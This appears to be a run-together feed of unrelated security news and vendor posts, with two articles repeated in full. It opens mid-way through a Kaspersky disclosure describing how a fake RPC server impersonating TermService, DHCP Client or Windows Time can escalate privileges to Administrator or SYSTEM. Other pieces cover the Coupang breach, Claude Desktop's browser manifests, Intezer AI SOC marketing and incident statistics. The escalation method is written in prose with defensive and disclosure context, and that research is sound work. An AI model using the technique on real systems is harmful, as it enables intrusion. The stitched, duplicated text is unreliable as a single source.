Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.

As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.

The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.

However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.

When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.

As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.

Background services: From WDI to RDP

Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.

During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.

This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.

In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.

Abusing the Local Service account: From ipconfig to DHCP

Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.

The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.

In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.

As the figure below illustrates, the attacker can leverage this situation to escalate privileges.

After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.

When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.

As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

Abusing Time

The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.

The service exposes an RPC server with two endpoints:

• \PIPE\W32TIME_ALT
• \RPC Control\W32TIME_ALT

The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.

An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.

As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.

Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.

Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.

Vulnerability disclosure

After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.

Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.

Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.

Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.

The disclosure timeline is shown below:

• 2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
• 2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
• 2026-04-24: expected whitepaper publication date.

Detection and defense

As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.

Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.

I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.

By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.

It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.

Conclusion

All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.

Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.

Washington’s focus on online retailer Coupang has led to accusations that the Trump administration is tying issues of national security to domestic corporate matters

When South Korea’s biggest online retailer revealed last year that a data breach had compromised tens of millions of customer accounts, it appeared to be a corporate crisis. But five months later the issue has grown into a diplomatic storm, threatening to further degrade relations between Seoul and the Trump administration.

Coupang, often described as South Korea’s answer to Amazon, is a US-incorporated company whose business is overwhelmingly based in South Korea. Headquartered in Seattle and listed on the New York Stock Exchange, it is run by Korean-American billionaire Bom Kim. In November last year the company disclosed that a former employee had stolen an internal security key, enabling unauthorised access to data from 33.7 million users.

Continue reading...

© Photograph: Anthony Wallace/AFP/Getty Images

© Photograph: Anthony Wallace/AFP/Getty Images

© Photograph: Anthony Wallace/AFP/Getty Images

Palo Alto Networks recently joined the DNS-OARC community as a Platinum Member. Together, our organizations share a commitment to advancing collaboration in research and operational excellence across the global DNS ecosystem. DNS is critical to both internet infrastructure and security, and this collaboration facilitates the sharing of real-world insights among researchers and practitioners.

Our Contribution

We help organizations secure their digital environment with a comprehensive portfolio of cybersecurity solutions spanning Network, Cloud, Security Operations, AI and Identity. Trusted by more than 70,000 customers worldwide and informed by Unit 42^® Threat Intelligence, their AI-driven platforms help organizations reduce complexity, modernize with confidence, and securely enable innovation.

As a Platinum Member, our subject matter experts will actively participate in the DNS-OARC community by engaging in discussions and contributing to research on evolving DNS threats and network challenges. The growing intersection of DNS and security makes access to intelligence and experience increasingly important. It strengthens the community’s ability to respond to emerging challenges and improves resilience across the internet.

Through our participation, our customers will gain stronger protection informed by community-driven intelligence and real-world operational insight. These learnings are continuously integrated into our threat intelligence and security capabilities. Our participation signals our support for DNS-OARC’s mission of fostering open dialogue and shared learning across the DNS ecosystem. This collaboration helps bridge DNS operations with broader security practices, improving coordination between operators, researchers and security practitioners.

Our Commitment to the DNS-OARC and Global Communities

Collaboration between our organizations strengthens the connection among DNS operations and modern security practices by bringing together operational insight and a global community dedicated to advancing the internet’s resilience.

For the DNS-OARC community, our commitment enhances knowledge sharing around evolving DNS threats, large-scale network operations and practical approaches to emerging challenges.

For organizations and customers, it reinforces a stronger alignment between DNS infrastructure and security, expands access to community-driven intelligence and supports more resilient, well-informed defenses.

Tong Zhao, Senior Manager of DNS Security Engineering, Palo Alto Networks:

We recognize the critical role of DNS-OARC in DNS operations and research. The teams from Palo Alto Networks believe that our DNS-OARC membership aligns perfectly with our goals. We are eager to participate in and contribute to the DNS community.

Our partnership with the DNC-OARC highlights the value of open collaboration in helping both the community and its participants stay ahead of an increasingly complex threat landscape. To learn more about how our expertise and insights support DNS-OARC’s mission to improve the security and stability of the internet’s DNS, visit DNS-OARC.

The post Palo Alto Networks Joins DNS-OARC as a Platinum Member appeared first on Palo Alto Networks Blog.

British businesses need to prepare themselves to defend against cyberattacks because the U.K. could be targeted “at scale,” if it became involved in an international conflict.

The post Most Serious Cyberattacks Against the UK Now From Russia, Iran and China, Cyber Chief Says appeared first on SecurityWeek.

Security researcher Alexander Hanff wrote an article titled Anthropic secretly installs spyware when you install Claude Desktop.

Claims like that are bound to create two sides, so we searched for an official rebuttal by Anthropic. But we couldn’t find one. It would surprise me very much if they’d be unaware of the claim, since there’s been some noise about it.

Users on Mastodon, Reddit, and LinkedIn are confirming the researcher’s findings and discussing the subject, so it’s hard to imagine Anthropic missed it.

Let’s look at the claims first.

While looking into another matter, the researcher discovered a Native Messaging host manifest on his Mac that he did not knowingly install. On Chrome and other Chromium-based browsers, extensions can exchange messages with native applications if they register a native messaging host that can communicate with the extension. 

By testing on a clean machine, Hanff discovered that Installing Claude Desktop for macOS drops a Native Messaging host manifest into multiple Chromium profiles (Chrome, Edge, Brave, Arc, Vivaldi, Opera, Chromium), even including for browsers that are not actually installed yet.

The Native Messaging host manifest tells a Chromium‑based browser which local executable to invoke when an extension calls a native host, and those hosts run outside the browser sandbox with current users  permissions. Hanff therefore describes this as a “backdoor.” The manifest pre‑authorizes three Chrome extension IDs, so any extension with those IDs can call the helper via connectNative, giving it access to browser automation features.

Another objection is that Claude makes simple deletion futile since the manifest will be recreated the next time the user launches Claude Desktop.

It’s important here to point out that his article is about Claude Desktop, the Electron-based macOS application with bundle identifier com.anthropic.claudefordesktop, distributed as Claude.app. It is not about Claude Code, Anthropic’s command line developer tool. Claude Code is autonomous (“agentic”), allowing you to hand over a task, and it handles the planning and execution until done. So, for Claude Code, it would absolutely make sense to enable communication with browsers, provided they are present on the target system.

So, we have an application that writes into other apps’ profile/support directories (the browsers’ configuration area) and can act as the user, with capabilities like using the logged‑in browser session, DOM inspection, data extraction, form filling, and session recording. This expands the attack surface of every machine this manifest is dropped on, without asking for consent. 

Anthropic’s own launch blog on “Claude for Chrome,” which discusses Anthropic’s internal red‑team experiments, explicitly mentions prompt injection as a key risk and reports attack success rates of 23.6% (no mitigations) and 11.2% (with mitigations). Hanff cites this to argue that a pre‑positioned bridge is a non‑trivial risk.

How bad is it?

Native Messaging is a standard Chromium mechanism. Nothing here is an unknown or exotic technique per se. Chrome’s own documentation explains that Native Messaging hosts run at user privilege and are invoked by browser extensions through a manifest file. And as the researcher pointed out, the bridge does nothing. But it could potentially be abused.

I don’t think it’s fair to say that Claude Desktop installs spyware, but it does open a system up by expanding the attack surface.

Anthropic already had a separate, documented Native Messaging manifest for Claude Code that users sometimes manually copied into other Chromium browsers; the new behavior is that Claude Desktop now drops a Claude‑Desktop‑related manifest into multiple browser paths automatically.

It requires a combination of extension and host. Only combined with a matching browser extension, this bridge enables the user-like capabilities we listed earlier.

What we don’t know yet

Anthropic hasn’t published a detailed technical privacy spec for the Claude Desktop–browser bridge, so we don’t know exactly what data flows when the Chrome integration is used, beyond the general capabilities described in their documentation (session access, DOM reading, etc.).

The detailed analysis and most replication so far are on macOS. We’re in the dark about behavior on Windows and Linux, and the same is true across different browser install paths. That behavior has also not been comprehensively documented in public write‑ups.

I did reach out to Anthropic asking for a response. If and when we get an official response from Anthropic, I’ll add it here, so stay tuned.

Conclusion

Anthropic likely wanted “Claude in Chrome”‑style capabilities across Chromium‑based browsers, but that doesn’t excuse doing it silently and preinstalling the manifest into profile directories for multiple browsers, including ones that are not yet installed.

There are better ways to implement changes like these, and users should at least be made aware of them so they can weigh the advantages against the potential risks.

---

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Security researcher Alexander Hanff wrote an article titled Anthropic secretly installs spyware when you install Claude Desktop.

Claims like that are bound to create two sides, so we searched for an official rebuttal by Anthropic. But we couldn’t find one. It would surprise me very much if they’d be unaware of the claim, since there’s been some noise about it.

Users on Mastodon, Reddit, and LinkedIn are confirming the researcher’s findings and discussing the subject, so it’s hard to imagine Anthropic missed it.

Let’s look at the claims first.

While looking into another matter, the researcher discovered a Native Messaging host manifest on his Mac that he did not knowingly install. On Chrome and other Chromium-based browsers, extensions can exchange messages with native applications if they register a native messaging host that can communicate with the extension. 

By testing on a clean machine, Hanff discovered that Installing Claude Desktop for macOS drops a Native Messaging host manifest into multiple Chromium profiles (Chrome, Edge, Brave, Arc, Vivaldi, Opera, Chromium), even including for browsers that are not actually installed yet.

The Native Messaging host manifest tells a Chromium‑based browser which local executable to invoke when an extension calls a native host, and those hosts run outside the browser sandbox with current users  permissions. Hanff therefore describes this as a “backdoor.” The manifest pre‑authorizes three Chrome extension IDs, so any extension with those IDs can call the helper via connectNative, giving it access to browser automation features.

Another objection is that Claude makes simple deletion futile since the manifest will be recreated the next time the user launches Claude Desktop.

It’s important here to point out that his article is about Claude Desktop, the Electron-based macOS application with bundle identifier com.anthropic.claudefordesktop, distributed as Claude.app. It is not about Claude Code, Anthropic’s command line developer tool. Claude Code is autonomous (“agentic”), allowing you to hand over a task, and it handles the planning and execution until done. So, for Claude Code, it would absolutely make sense to enable communication with browsers, provided they are present on the target system.

So, we have an application that writes into other apps’ profile/support directories (the browsers’ configuration area) and can act as the user, with capabilities like using the logged‑in browser session, DOM inspection, data extraction, form filling, and session recording. This expands the attack surface of every machine this manifest is dropped on, without asking for consent. 

Anthropic’s own launch blog on “Claude for Chrome,” which discusses Anthropic’s internal red‑team experiments, explicitly mentions prompt injection as a key risk and reports attack success rates of 23.6% (no mitigations) and 11.2% (with mitigations). Hanff cites this to argue that a pre‑positioned bridge is a non‑trivial risk.

How bad is it?

Native Messaging is a standard Chromium mechanism. Nothing here is an unknown or exotic technique per se. Chrome’s own documentation explains that Native Messaging hosts run at user privilege and are invoked by browser extensions through a manifest file. And as the researcher pointed out, the bridge does nothing. But it could potentially be abused.

I don’t think it’s fair to say that Claude Desktop installs spyware, but it does open a system up by expanding the attack surface.

Anthropic already had a separate, documented Native Messaging manifest for Claude Code that users sometimes manually copied into other Chromium browsers; the new behavior is that Claude Desktop now drops a Claude‑Desktop‑related manifest into multiple browser paths automatically.

It requires a combination of extension and host. Only combined with a matching browser extension, this bridge enables the user-like capabilities we listed earlier.

What we don’t know yet

Anthropic hasn’t published a detailed technical privacy spec for the Claude Desktop–browser bridge, so we don’t know exactly what data flows when the Chrome integration is used, beyond the general capabilities described in their documentation (session access, DOM reading, etc.).

The detailed analysis and most replication so far are on macOS. We’re in the dark about behavior on Windows and Linux, and the same is true across different browser install paths. That behavior has also not been comprehensively documented in public write‑ups.

I did reach out to Anthropic asking for a response. If and when we get an official response from Anthropic, I’ll add it here, so stay tuned.

Conclusion

Anthropic likely wanted “Claude in Chrome”‑style capabilities across Chromium‑based browsers, but that doesn’t excuse doing it silently and preinstalling the manifest into profile directories for multiple browsers, including ones that are not yet installed.

There are better ways to implement changes like these, and users should at least be made aware of them so they can weigh the advantages against the potential risks.

---

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

The SOC is broken. Not because of a lack of talent or effort, but because human capacity does not scale. Alert volumes keep rising. Attacks move faster. And the operating model still assumes analysts will investigate most of what comes in, which means the vast majority of alerts never get looked at.

Our AI SOC Report 2026, based on analysis of 25 million alerts across our global customer base, put a sharp number on the problem. Over 60% of alerts are never reviewed by SOC and MDR teams. Nearly 1% of all incidents trace back to alerts classified at the lowest severity levels, signals most teams never touch. With average enterprises generating around 450,000 alerts annually, that equates to roughly one real threat per week hiding in the backlog, undetected.

That is not a tool problem. It is an operating model problem.

On April 27, we are bringing together the security leaders who are doing something about it.

Get your invite to AI SOC Live at the NASDAQ today.

What is AI SOC Live

AI SOC Live is a monthly, online event where security leaders discuss the latest issues facing the cyber industry. This month, AI SOC Live will be a full-day, invitation-only event at the Nasdaq in New York City. It is designed for CISOs, security directors, SOC managers, and MSSPs who are not just watching AI transform security operations from the sidelines, but are in the middle of it, making decisions about how their teams operate, what they invest in, and where the humans actually need to be.

This event is a full day of sessions, panels, and conversations built around the people, processes, and technology required to run a world-class SOC in 2026.

Who you will hear from at AI SOC Live Nasdaq

The speaker lineup reflects how seriously we have curated this event.

Itai Tevet, CEO and Founder of Intezer, will open the day with a session on the new SOC operating model, what it means when AI executes investigation and humans supervise outcomes, and why that shift changes security results structurally, not incrementally.

Alon Cohen, Founder and Executive Chairman of both Intezer and CyberArk, will speak to the broader impact of AI on security, drawing on decades of experience building foundational security companies.

Pavi Ramamurthy, Global CISO & CIO at Blackhawk Network as well as a founding member of the Professional Association of CISOs, and a venture advisor at YL Ventures. She will be speaking about the role of humans in the SOC.

David Spark, Founder and Executive Producer of the CISO Series Podcast, will host a live recording of the show featuring Nick Vigier, CISO at Oscar Health, digging into AI SOC beyond the hype.

You will also hear from CISOs at WCG Clinical, and ION Group, alongside practitioners from Realm Security, Legato Security, Upwind Security, and Monad. Sessions cover cloud security for the AI era, the blueprint for AI SOC success, and what every CISO needs to manage not only their security, but their executive board as well. 

And Mitchem Boles, Field CISO at Intezer, and Marcus Mingo, Detection Engineer at Intezer, will be there all day, available for the kind of real, technical conversations that rarely happen at larger conferences. See the full list of speakers.

What the day looks like

The agenda moves quickly and stays practical.

The morning opens with sessions on the new operating model and AI’s impact on security, followed by a CISO panel on the role of humans in the SOC and a session from Realm Security on building a data-first AI SOC. After a working lunch with interactive product demos, the afternoon covers cloud security, a live CISO Series recording, and a panel on advancing SOC outcomes at the C-suite level.

The day closes with a photo opportunity in front of the iconic Nasdaq billboard, followed by a cocktail reception overlooking New York City.

Attendees also earn CPE credits through the event’s partnership with ISC2.

Why this conversation matters now

The 2026 data makes the stakes clear. Our report found that more than half of confirmed compromised endpoints had been marked as “mitigated” by the EDR vendor, meaning teams believed those machines were clean when they were not. 

The gap between what organizations believe is covered and what is actually investigated is where real risk lives. Closing that gap requires a different operating model, one where AI investigates every alert, including the low-severity signals that human teams deprioritize, and humans supervise outcomes instead of grinding through queues.

That is the conversation happening at AI SOC Live.

Who should attend

This event is designed for CISOs, VPs and Directors of Information Security, SOC managers, and MSSPs from large enterprises who are responsible for security strategy, risk decisions, and operational outcomes. Whether you are evaluating AI for the first time or scaling capabilities you already have deployed, the sessions and conversations are built for leaders making real decisions, not attendees collecting swag.

Space is limited and invitations are by request.

Request your invitation at intezer.com/ai-soc-live-nasdaq

 

The post AI SOC Live at Nasdaq: Real conversation about modern security operations appeared first on Intezer.

The question isn’t whether to build. It’s what’s worth building.

Nearly every security organization with strong engineering resources is running some kind of internal AI project right now. That’s not a problem to be solved, it’s a sign of a healthy, capable team. The question worth asking isn’t “build or buy?” It’s a more precise one: which parts of this problem are worth your engineers’ time, and which parts aren’t?

That distinction changes the conversation entirely.

Intezer’s approach isn’t to compete with your internal roadmap. It’s to handle the commodity layer, common alert sources like CrowdStrike for example, so your engineers can focus on the security challenges that are actually unique to your organization. Some companies with very strong engineering teams are getting tremendous value from Intezer, precisely because they understand exactly what they’d rather not build themselves.

One Fortune 100 company started with Intezer for phishing triage, which removed a significant chunk of their internal DIY roadmap and freed their team to focus on their unique, internal use cases. Another F500 company went further as they expanded their Intezer contract while building their own custom internal AI for their own security use cases. Build and buy, working together, each doing what it does best.

So with that framing in mind, here’s an honest look at the parts of the AI SOC problem that are genuinely worth building and the parts that usually aren’t.

The maintenance treadmill nobody talks about

The first thing you encounter when you start building AI-driven alert triage is that the initial integration is only a fraction of the long-term work.

SIEM integrations break when vendors push updates. EDR APIs change without notice. New alert formats appear. Security tools version, deprecate endpoints, and shift data schemas on their own timelines. Keeping those integrations alive requires constant reverse engineering, work that is generic across every security organization in the world, but still consumes real engineering hours every single week.

Intezer already handles all of that. The integrations are built, maintained, and updated as the ecosystem evolves. When you offload the commodity layer, you skip the maintenance treadmill and get straight to what actually requires your organization’s specific knowledge.

Vendor alerts share many similarities even in different customer environments

Every security team knows their environment has its own complexity with unique infrastructure, specific tooling, particular workflows that took years to build. That’s real, and it matters.

But when it comes to the triage logic itself like investigating a suspicious lateral movement event, assessing a phishing alert, working through a cloud misconfiguration, the patterns tend to look remarkably similar across organizations. These are problems the industry has collectively solved thousands of times over.

That doesn’t diminish the work your team has done. It does raise a practical question: is rebuilding that common triage baseline the best use of your most capable engineers? The time spent recreating what already exists everywhere is time not spent on the challenges where your team’s knowledge is genuinely irreplaceable for your specific threat model, your particular infrastructure, and the edge cases no vendor has seen before.

Plugging into Intezer for the common alert sources isn’t a concession. It’s a way to protect your team’s time for the work that only they can do.

The integration challenge

One objection that comes up reliably, “we’ll need to do the integration work regardless”. That’s true. Connecting any automated system to your production security stack is environment-specific work that no vendor can fully do for you.

But here’s the distinction. With Intezer, that integration challenge is the only technically demanding part remaining. You’re not also building the investigation engine, the forensic analysis layer, the case correlation logic, the noise reduction system, and the detection feedback loop from scratch.

Building everything yourself means doing all of that foundational work and the integration. You spend months getting to a starting line that Intezer has already crossed, backed by years of operational learning across more than 150 enterprise deployments.

What the ROI actually looks like

There’s a headcount dimension here that often gets underweighted.

Building and maintaining your own AI SOC automation means dedicating engineering resources to it indefinitely. Those people aren’t available for other priorities. Their output is difficult to measure in security terms. And at the end of it, you’ve built something that performs commodity triage work, the same work Intezer has already productized and is continuously improving.

Buying Intezer converts that into a measurable line item with clear security outcomes attached: investigation accuracy, alert volume handled per analyst, time to resolution, escalation rate. RSM reported saving approximately 21,000 analyst hours per month, the equivalent of around 130 analysts, by running Intezer as their AI SOC layer. That’s not a soft productivity argument. It’s a concrete operational ROI story.

Continuous learning

One more dimension worth considering. What happens after an alert is triaged?

When Intezer investigates an alert, that outcome feeds back into detection engineering at the source, surfacing noisy or broken rules, mapping coverage gaps to MITRE ATT&CK, and generating deployment-ready detection rules informed by actual investigation results. The system gets smarter with every alert it processes. Detection improves based on evidence, not assumptions.

Homegrown automation rarely achieves this systematically. You triage the alert, close the ticket, and move on. The learnings don’t automatically improve your SIEM rules or extend your detection coverage. The system runs, but it doesn’t compound.

The practical frame

Think of it less as build vs. buy and more as what’s the right division of labor?

The commodity layer, common alert sources, standard triage logic, integration maintenance, detection lifecycle management, is worth offloading. That’s where Intezer operates. Your engineers stay focused on what’s actually differentiated: the security challenges that are specific to your environment, your risk profile, your business.

The teams that figure out this division early move faster, cover more, and build the things that actually matter. 

Learn more about Intezer.

The post AI SOC: When to buy and when to DIY appeared first on Intezer.

Web shells are malicious scripts that give attackers persistent access to compromised web servers, enabling them to execute commands and control the server remotely. These scripts exploit vulnerabilities like SQL injection, remote file inclusion (RFI), and cross-site scripting (XSS) to gain entry.

Once deployed, web shells allow attackers to manipulate the server, leading to data theft, website defacement, or serving as a launchpad for further attacks. They are especially dangerous because they are also a post-compromise access mechanism (backdoor) rather than a standalone infection.

Continue reading Web Shells: Types, Mitigation & Removal at Sucuri Blog.

Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.

This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.

The scope of MDR and IR services

Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).

MDR telemetry

Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.

Incident statistics

The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.

Key trends and statistics

This section presents key findings and trends in cyberattacks in 2025:

• The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
• The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
• Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
• Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).

The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.

Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.

This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.

The scope of MDR and IR services

Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).

MDR telemetry

Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.

Incident statistics

The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.

Key trends and statistics

This section presents key findings and trends in cyberattacks in 2025:

• The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
• The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
• Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
• Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).

The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.

Security operations is undergoing a fundamental shift.

As alert volumes continue to rise and environments grow more complex, enterprises are moving away from security models built on manual triage, fragmented automation, and are looking to decrease their reliance on outsourced MDR services. More enterprises are adopting AI SOC as the new model for running security operations, one that can triage and  investigate all alerts at machine scale while keeping internal teams focused on judgment and response.

That shift was reflected clearly in Intezer’s momentum over the past year.

In 2025, Intezer processed more than 25 million security alerts across live enterprise SOC environments, as adoption expanded across large and complex organizations looking for a more scalable way to run security operations.

A year of strong growth

Over the past year, Intezer achieved several major company milestones:

• Multiplied revenue year over year
• Achieved 126% net revenue retention
• Expanded adoption across Fortune 500 organizations
